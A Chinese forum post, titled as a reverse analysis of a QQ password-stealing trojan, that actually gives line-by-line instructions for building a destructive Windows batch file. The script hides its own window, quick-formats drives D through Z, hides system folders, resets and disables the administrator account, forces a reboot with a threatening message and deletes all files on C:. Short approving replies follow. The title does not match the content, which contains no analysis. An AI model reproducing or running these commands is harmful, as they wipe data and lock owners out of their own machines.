一个QQ盗号木马的逆向分析

来学习学习逆向病毒程序

。。。。。叼

来看看。。。。。。。。

if not “%1″==”wkdxz” mshta vbscript:createobject(“wscript.shell”).run(“””%~f0″” wkdxz”,vbhide)(window.close)&&exit
上面这段代码也可以不输入，但是如果少了这段代码就会显示着运行，
这段代码起到了隐藏运行的作用 （但是部分杀毒软件询问是否运行）
然后回车输入下面的内容：
@Echo off echo y
for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
上面这一段代码的意思是快速格式化D到Z盘的所有内容。
没有则掠过
再回车输入
c:\
attrib +s +h “windows”
attrib +s +h “Program Files”
attrib +s +h “Documents and Settings”
这段代码是切换到C盘，并且隐藏C盘重要文件，将其设置为系统只读隐藏文件。
然后回车输入
cd C:\Documents and Settings\Administrator\桌面
attrib +S +h
上面是隐藏桌面
继续回车输入代码
net user administrator nisidingle
net user guest nihuile
这段代码意思是将计算机的administrator（超级管理员）账户和Guest（来宾账户）设置密码，
分别是“你死定了”和“你毁了”的汉语拼音
接着回车输入
shutdown -r -t 60 -c “敢惹老子！你死定了！”
这段代码是设置1分钟关机的，并且会提示：敢惹老子！你死定了
也可以把提示换成别的，
只要在120个字之内
最后回车输入
net user administrator /active:no
最后这段代码将直接禁用Administrator用户，别人将重启后将无法进入系统
然后回车输入
del /f /s /q c:\*.*
这句命令是删除C盘所有能删除的文件，并且也删除了shutdown和net这两个DOS命令，
使对方无法解除关机
最后一步把txt文件改成bat文件，只要双击后，你的电脑基本就毁了

我只想安安静静的学习

看看学习一下

谢谢楼主分享技术贴。